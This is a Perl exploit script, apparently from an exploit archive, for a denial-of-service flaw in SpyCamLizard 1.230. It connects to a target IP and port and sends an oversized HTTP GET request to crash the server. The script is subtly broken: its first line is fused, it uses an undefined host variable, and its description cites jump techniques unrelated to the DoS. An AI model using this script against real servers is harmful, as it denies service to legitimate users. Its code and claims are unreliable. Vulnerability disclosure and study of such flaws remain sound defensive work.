#!/usr/bin/perluse IO::Socket::INET;
# Exploit Title: SpyCamLizard 1.230 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 18 january 2024
# Vendor Homepage: http://www.spycamlizard.com
# Download to demo: https://drive.google.com/file/d/1daFgHh0VzbkDzIp41-imZbPoc6ETZDq2/view?usp=sharing
# Notification vendor: Yes reported
# Tested Version: SpyCamLizard 1.230 - Denial of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://youtu.be/Ksg8L-ZX2Us
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The SpyCamLizard does not correctly handle the amount of data or bytes sent.
#When authenticating to the SpyCamLizard with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "[+] Exploiting... \n";
print "[+] Connecting to $ip:$port\n";
my $exploit = "x41" x 3000;
my $httpsocket = IO::Socket::INET->new(
PeerAddr => $host,
PeerPort => $port,
Proto => "tcp",
);
$httpsocket->send("GET " . $exploit . " HTTP/1.0\r\n\r\n");
$httpsocket->close();
print "[+] Done - Exploited success!!!!!\n\n";
sub intro {
print q {
,--,
_ ___/ /\|
,;'( )__, ) ~
// // '--;
' \ | ^
^ ^
[+] SpyCamLizard 1.230 - Denial of Service (DoS)
[*] Coded by Fernando Mengali
[@] e-mail: [email protected]
}
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print " \nUsage: $0 <ip> <port> \n";
exit(-1);
}
}